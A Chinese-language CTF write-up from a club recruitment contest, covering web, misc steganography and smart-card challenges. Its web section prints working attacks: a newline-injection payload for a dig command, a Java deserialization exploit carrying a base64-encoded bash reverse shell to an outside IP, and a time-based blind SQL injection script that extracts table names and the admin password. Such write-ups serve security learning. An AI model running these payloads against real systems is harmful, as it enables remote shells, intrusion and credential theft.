12月协会招新
本文最后更新于 427 天前,其中的信息可能已经有所发展或是发生改变。

Web

dig

题解

  • 有关 dig 的命令执行
过滤:
` $ / & * | ;
  • 利用换行截断,注入点在于 type 参数
dig \ncd ..\ncd ..\ncd ..\ncat flag#
  • 写脚本会使人不幸

first_java

题解

  • java 反序列化,但就是配环境花好长时间(比赛结束之后,比赛时不会java,就没看
  • springboot 项目,代码解释cv于学长
这里显然就是User的toString方法到eval方法再到exec类中的runcmd方法。(为什么说是first_java就是因为这里不用追调用链,会java反序列化就出了)而toString方法怎么触发,搜索引擎一搜就能搜到。即BadAttributeValueExpException 类。(BadAttributeValueExpException:反序列化的时候会去调用成员变量val的toString函数)
综上,我们只需要构造一个BadAttributeValueExpException 类对象,把其成员变量val赋为User类对象,其中User对象的name成员变量为要执行的命令。(这里由于无回显所以用一个反弹shell的技巧)
关于java反序列化链的构造可以先了解Java反射、看readObject()方法等等
  • exp
package com.example.demo;
​
import com.example.demo.classes.User;
​
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
​
public class exp {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
​
        Class c=Class.forName("com.example.demo.classes.User");
        Constructor con=c.getDeclaredConstructor();
        con.setAccessible(true);
        Object u=con.newInstance();
​
        setFieldValue(u,"name","bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDMuMTIyLjIyMS8zMzQ1NyAwPiYx}|{base64,-d}|{bash,-i}");
        // 此处为 bash -i >& /dev/tcp/ip/port 0>&1
​
        BadAttributeValueExpException val1 = new BadAttributeValueExpException(null);
        setFieldValue(val1,"val",u);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(val1);
        System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray()));
    }
}

SQL注入

题解

  • 过滤
sleep or 空格 = < substr 

// 好像不全
  • payload
from requests import post
from time import time

url = 'http://challenge.dhycnhdu.com:33450/login.php'
data = {
    'username': 'admin',
    'password': ''
}

# 爆 库名
for i in range(8):
    for j in range(48, 126):
        f = time()
        data['password'] = f'123\'&&benchmark(if(ascii(mid(database(),{i+1},1))>{j},1,10000000),sha(1));#'
        a = post(url, data=data)
        s = time()
        if s - f > 1:
            print(chr(j), end='')
            break
print()
# 爆 表名
for i in range(8):
    for j in range(48, 126):
        f = time()
        data['password'] = f"123'&&benchmark(if(ascii(mid((select table_name from information_schema.tables where table_schema like 'easysql' limit 0,1),{i+1},1))>{j},1,10000000),sha(1));#".replace(' ', '/*1*/')
        a = post(url, data=data)
        s = time()
        if s - f > 1:
            print(chr(j), end='')
            break
print()
# 爆 字段
for x in range(5):
    for i in range(8):
        for j in range(48, 126):
            f = time()
            data['password'] = f"123'&&benchmark(if(ascii(mid((select column_name from information_schema.columns where table_schema like 'easysql' limit {x},1),{i+1},1))>{j},1,10000000),sha(1));#".replace(' ', '/*1*/')
            a = post(url, data=data)
            s = time()
            if s - f > 1:
                print(chr(j), end='')
                break
    print()
print()
# 爆 flag
for i in range(50):
    for j in range(48, 126):
        f = time()
        data['password'] = f"123'&&benchmark(if(ascii(mid((select password from sqltable where username like 'admin' limit 0,1),{i+1},1))>{j},1,10000000),sha(1));#".replace(' ', '/*1*/')
        a = post(url, data=data)
        s = time()
        if s - f > 1:
            print(chr(j), end='')
            break
  • 利用benchmark(1000000,sha(1))代替 sleep 1.9
  • 利用mid代替substr

Misc

题解

  • binwalk递归分离,960层,得到flag.jpg,文件末尾存在多余数据
  • 将所有文件名拼合得到base编码的字样,fuzz之后得到our secrect is password(正确的不是password,我忘了
  • 分离flag.jpg,利用oursecret解密,得到flag
  • Oursecret加密后文件末尾通常或有类似的结果

智能卡

题解

  • 根据 IC 卡的结构得到加密密钥
  • 进行异或得到flag
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇